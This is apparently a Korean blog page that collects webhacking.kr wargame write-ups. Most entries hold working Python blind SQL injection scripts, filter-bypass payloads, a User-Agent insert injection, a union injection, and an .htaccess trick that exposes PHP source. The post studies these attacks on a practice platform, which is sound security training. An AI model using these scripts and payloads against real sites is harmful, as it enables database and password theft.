'Solve Problem/Webhacking.kr'에 해당되는 글 34건

반응형

우선 ID와 PW를 test로 하여 회원가입을 하고 로그인을 시도하였다.

로그인 시 uuid 파라미터와 pw 파라미터에 SQL Injection을 시도한 결과 uuid 파라미터에서 터지는 것을 확인하였다.


먼저 간단하게 admin으로 로그인하기 위해 다음과 같이 시도하였지만 Wrong password!라고 떴다.


그래서 해당 문제를 풀기 위해서는 Blind SQL Injection을 통해 admin의 PW를 획득해야 함을 추측할 수 있다.


우선 조건이 참일 경우에는 다음과 같이 Wrong password!라고 출력된다.


조건이 거짓일 경우에는 Login Fail이라고 뜬다.


이 둘의 차이를 이용하여 admin의 PW의 hash 값을 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
url="https://webhacking.kr/challenge/bonus-2/index.php"
flag=""
req_header = {'Content-Type':'application/x-www-form-urlencoded'}
 
for i in range(1,33):
    binary=''
    for j in range(1,8):
        req_data = {
            "uuid":"' or id='admin' and 1=substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(j)+",1)#",
            "pw":"test"
        }
 
        response = requests.post(url,data=req_data)
        print(response.request.body)
 
        if('Wrong' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs

결과로 출력된 해시값을 decrypt 해주면 PW가 출력된다. 접미사인 apple을 제외하고 로그인하면 solve!


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,
반응형

1. Database 확인

 ◎ 길이 : ?no=if((7)in(length(database())),1,2)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-10/"
flag=""
 
for i in range(1,8):
    binary=''
    for j in range(1,8):
        param='?no=if((1)in(substr(lpad(bin(ord(substr(database(),'+str(i)+',1))),7,0),'+str(j)+',1)),1,2)'
        response = requests.get(url+param)
 
        if('<td>1' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


 ◎ database명 : chall13


 ◎ 해당 데이터베이스 총 테이블 수 = 2개

 - ?no=if((4)in(select(count(if((table_schema)REGEXP(database()),table_name,null)))from(information_schema.tables)),1,2)


2. Table명 확인

 ◎ 길이

 1) 최대의 길이 = 4

  - ?no=if((4)in(select((length(MAX(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)

 2) 최소의 길이 = 13

  - ?no=if((13)in(select((length(MIN(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)


 ◎ 테이블명

 1) 최대의 길이 테이블명 = list

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr((MAX(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)

 2) 길이 최대의 테이블명 = flag_ab733768

- ?no=if((1)in(select(substr(lpad(bin(ord(substr((MIN(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)


3. 테이블 내 Column 확인

 ◎ 컬럼 수 = 1개 

 - ?no=if((1)in(select(count(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)


 ◎ 컬럼 길이 = 13

 - ?no=if((13)in(select(length(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)


 ◎ 컬럼명 = flag_3a55b31d

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr((if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)),1,1))),7,0),1,1))from(information_schema.columns)),1,2)


4. 데이터 확인

 ◎ 데이터 수 = 2개

 - ?no=if((10)in(select(count(flag_3a55b31d))from(flag_ab733768)),1,2)


 ◎ 최대의 길이 = 27

 - ?no=if((27)in(select(length(MAX(flag_3a55b31d)))from(flag_ab733768)),1,2)


 ◎ 최소의 길이 = 4

 - ?no=if((4)in(select(length(MIN(flag_3a55b31d)))from(flag_ab733768)),1,2)


 ◎ 최대 길이의 값 = FLAG{challenge13gummyclear}

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr(MAX(flag_3a55b31d),1,1))),7,0),1,1))from(flag_ab733768)),1,2)



※ 사용한 Filter Bypass list

 - like → regexp 

 : 현재 문제에서는 싱글쿼터 사용이 불가능하여 제대로 사용되지 않았지만 추후 like 구문이 필터링될 때 사용 가능할 것으로 판단


 - ascii, hex → ord

 - 0x → 0b

 - limit → MAX, MIN

 : MAX와 MIN을 이용할 경우 2개까지만 확인이 가능하지만 현재 문제에서는 이것을 사용하라는 듯 데이터가 1개 혹은 2개여서 solve가 가능하였음.


 - where → if

 : 가장 신기했던 건데 if 구문을 이용하여 해당 조건에 맞을 때 원하는 컬럼을 가져오고 아닐 때는 null을 출력하도록 하면 해당 데이터만 출력된다. 이와 관련해서는 좀 더 자세한 포스팅을 남겨두겠다.

 : 관련 포스팅 : https://rootable.tistory.com/entry/SQL-Injection-where-filter-bypass?category=621913



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-22 writeup  (0) 2020.04.23
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,
반응형

1. 문제분석


<?php
$agent
=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(
preg_match("/from/i",$agent)){
  echo(
"<br>Access Denied!<br><br>");
  echo(
htmlspecialchars($agent));
  exit();
}
$db dbconnect();
$count_ck mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if(
$count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck mysqli_fetch_array($result);

if(
$ck){
  echo 
"hi <b>".htmlentities($ck[0])."</b><p>";
  if(
$ck[0]=="admin"){
    
mysqli_query($db,"delete from chall8");
    
solve(8);
  }
}

if(!
$ck){
  
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo(
"<br><br>done!  ({$count_ck[0]}/70)");
}
?>


문제는 요청의 USER_AGENT를 기반으로 사용자를 구분한다.

이 때 해당 USER_AGENT에 해당하는 데이터가 없으면 insert 구문을 통해 새로 데이터를 생성한다.


2. 풀이

해당 문제는 간단한 SQLI 문제이다.


ip 변수에 대입되는 $_SERVER['REMOTE_ADDR] 부분은 수정할 수 없으므로 HTTP_USER_AGENT 부분을 변경해주어야 한다.

따라서 insert 구문을 진행할 때 $agent부분에 다음과 같이 들어가도록 요청 내 user-agent를 변경해 요청해준다.

rootable','1','admin'),('123


이후 useragent를 rootable로 변경하여 접근해주면 문제가 풀린다.


(참고)

user-agent에서 #은 URL encoding 없이 그대로 들어가므로 %23이 아니라 #이라고 그대로 작성해주어야 한다.

즉, User-agnet 부분에 [ rootable','1','admin')# ] 과 같이 입력해주어도 정상적으로 insert되고 문제를 solve할 수 있다.


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-22 writeup  (0) 2020.04.23
webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,
반응형

1. 문제 분석


일단 문제에 접근하여 소스코드를 확인해보았다.


val 파라미터로 입력받은 값을 go 변수에 대입한 뒤 해당 값에 사칙연상, from, 공백이 있으면 Access Denied!를 출력하고 종료시킨다.

preg_match에서 \\s는 whitespace를 의미하는 값이다.


해당 값들이 존재하지 않으면 랜덤 값에 따라 괄호의 수가 달라지고 go 변수를 삽입한 쿼리의 결과 2가 출력되면 문제가 solve 된다.


2. 풀이

우선 go 변수에 대입되는 값이 2여야 한다.

이 때 사칙연산이 막혀있어서 나는 나머지를 생각하였다.

9%7를 입력해보았는데 nice try!가 뜰 뿐 문제가 풀리지 않아 혹시 %가 제대로 입력되지 않는 것인가 하여 mod(9,7)를 해보았지만 여전히 풀리지 않았다.


로컬에서 하였을 때는 제대로 되는 것을 통해 해당 테이블에 lv가 2인 데이터가 존재하지 않다는 것을 알았다.

이후 나는 union을 이용하여 2를 직접 출력하는 방향으로 잡았다.


랜덤이 1이라 가정하고 다음과 같이 입력하여 문제를 풀었다.

0)union(select(mod(9,7))

또는

0)union(select(ceiling(1.9))


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
블로그 이미지

rootable

,
반응형

소스코드를 확인하면 쿠키 내 user와 password 값에서 특수문자를 숫자로 변형 후 20번 디코딩 한 값이 admin과 nimda인지 확인한다.
해당 조건에 맞도록 python으로 코드를 작성하여 풀면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
 
id='admin'
pw='nimda'
 
byte_id=id.encode('utf-8')
byte_pw=pw.encode('utf-8')
 
for i in range(1,21):
    byte_id=base64.b64encode(byte_id)
    byte_pw=base64.b64encode(byte_pw)
 
temp_id=byte_id.decode('utf-8')
temp_pw=byte_pw.decode('utf-8')
 
temp_id=temp_id.replace('1','!')
temp_id=temp_id.replace('2','@')
temp_id=temp_id.replace('3','$')
temp_id=temp_id.replace('4','^')
temp_id=temp_id.replace('5','&')
temp_id=temp_id.replace('6','*')
temp_id=temp_id.replace('7','(')
temp_id=temp_id.replace('8',')')
 
temp_pw=temp_pw.replace('1','!')
temp_pw=temp_pw.replace('2','@')
temp_pw=temp_pw.replace('3','$')
temp_pw=temp_pw.replace('4','^')
temp_pw=temp_pw.replace('5','&')
temp_pw=temp_pw.replace('6','*')
temp_pw=temp_pw.replace('7','(')
temp_pw=temp_pw.replace('8',')')
 
print('[+]id:'+temp_id)
print('[+]pw:'+temp_pw)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
블로그 이미지

rootable

,
반응형

쿠키 값 중 time 값에 if 구문을 통해 SQLi가 가능하다.


1. 테이블명 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(table_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.tables+where+table_schema=database()),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


결과 : admin_area_pw, log



2. 컬럼명 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,3):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(column_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.columns+where+table_name="admin_area_pw"),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


결과 : pw


3. pw 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(pw,'+str(i)+',1))),7,0),'+str(j)+',1)+from+admin_area_pw),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
블로그 이미지

rootable

,
반응형

문제에 접근하면 아래와 같이 업로드하는 로직이 있으며, 업로드 경로에 있는 flag.php 파일을 읽으면 된다고 한다.



가장 먼저 든 생각은 웹쉘을 올리는 것이였다.

그래서 일단 php 코드 실행이 가능한지 테스트하기 위해 간단하게 echo 문을 통해 php 파일을 올려보았다.


하지만 다음과 같이 <?php의 <가 제거되어 php 코드가 실행되지 않고 그냥 출력되었다.


여기서 나는 <?php 를 제외하고 php 코드를 실행할 수 있는 것이 있는데 결국 찾지 못하였다.

php.ini에서 short_open_tag를 이용하면 <?를 통해서도 실행이 가능하다고 하지만 이는 <를 이용하고 있기도 하고 수정 후 서버를 재시작해야 한다고 해서 해당 문제와는 관련이 없을거라 생각하였다.


계속 찾아보다가 업로드하는 디렉토리와 flag.php가 위치하는 경로가 일치하므로 디렉토리에서 실행과 관련된 설정을 하는 .htaccess와 관련이 있지 않을까 하여 알아보다가 php_flag engine off 라는 것을 알았다.


해당 옵션을 .htaccess에 설정할 경우 해당 디렉토리에서는 php 실행이 불가능하여, flag.php에 접근하게 되면 소스코드가 그대로 노출이 될 것이다.



위와 같이 .htaccess 파일을 업로드 후 flag.php에 접근하면 그대로 소스코드가 노출되며 그 안에 FLAG가 존재한다.




반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-40 writeup  (1) 2020.04.14
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
블로그 이미지

rootable

,
반응형

처음 접근하면 로그인 창이 뜨는데 로그인 버튼을 누르면 ?no=1&id=guest&pw=guest 형태로 요청이 날아간다.

힌트나 소스코드가 존재하지 않아 일단은 no=2로 로그인을 해야겠다고 생각하였다.


no 부분에 ?no=0||no=2와 같이 입력하니 관리자 로그인 페이지에 접근됨을 확인할 수 있었다.


단순히 no=2로 로그인하는 것이 아니라, 정확히 admin의 pw를 획득해야 하므로 다시 no 파라미터를 이용하여 admin의 pw를 찾았다.

이 때 몇가지 filter가 있는데, ascii와 ord가 사용되지 않아 hex를 이용하였다.


hex를 이용하였을 때 pw의 첫번째 값을 획득하니 6이 나왔는데, 뭔가 잘못됐다는 생각이 들어 다른 방식으로 접근하였다.

바로 아래와 같이 hex 함수를 이용할 때 문자열과 문자열에 해당하는 ascii 코드를 이용하였을 때 결과가 같다는 점을 이용한 것이다.

hex('a')=hex(97)


이를 이용하여 python 코드를 작성하여 admin에 해당하는 pw를 획득하였고 이를 통해 문제를 solve하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
url="https://webhacking.kr/challenge/web-29/?id=g&pw=g"
flag=""
 
for i in range(1,11):
    for j in range(95,123):
        param = "&no=0||no=2%26%26hex(substr(pw,"+str(i)+",1))=hex("+str(j)+")"
        response = requests.get(url+param)
        print(response.url)
        if('admin' in response.text):
            print("[+] flag : "+chr(j))
            flag+=chr(j)
            break
        print("[-] not")
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
블로그 이미지

rootable

,